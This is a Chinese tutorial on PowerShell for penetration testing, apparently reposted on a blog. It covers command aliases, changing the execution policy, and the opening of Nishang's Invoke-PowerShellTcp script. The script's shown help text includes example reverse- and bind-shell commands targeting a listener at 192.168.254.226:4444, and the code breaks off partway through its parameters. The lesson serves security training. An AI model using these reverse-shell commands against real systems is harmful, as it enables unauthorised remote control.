Powershell渗透测试系列–进阶篇

本文深入探讨Powershell在渗透测试中的应用,包括TCP交互式PowerShell脚本分析,Nishang框架的使用,以及Mimikatz结合Powershell获取密码的方法。通过学习,读者将掌握如何利用Powershell进行正向和反向连接,并在实战环境中提升渗透测试能力。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html

i春秋作家:anyedt

0×00 引言

经过基础篇的学习我们已经对powershell有了一个基本的了解,接下来我们先补充一点基础知识然后就尝试去分析nishang中的优秀代码学会如何去使用脚本最后实战 。预告一下,第三篇高级篇带你使用powershell遨游内网。

0×01 补充知识

a 命令格式

<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ -< Optional Parameter Name > <Optional Parameter Value >]
[ -< Optional Switch Parameters >]
[ -< Optional Parameter Name >] <Required Parameter Value >

b 等价别名

许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。

Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get-location gl, pwd
get-member gm
remove-item ri, rm, rmdir, del, erase, rd
write-output write, echo

c 执行策略问题

Powershell脚本执行策略是默认不允许执行任何脚本,如果我们没有修改过执行策略而直接运行可能出现以下问题。

image.png

解决办法

首先查看脚本执行策略设置情况,可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted  即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令:set-executionpolicy remotesigned  回车之后即可执行脚本。

image.png

0×02 分析TCP交互式PowerShell脚本

该脚本取之于nishang这个框架,Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址:https://github.com/samratashok/nishang

先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

https://github.com/nettitude/powershell/blob/master/powerfun.ps1


https://github.com/samratashok/nishang

注释部分
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName=
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值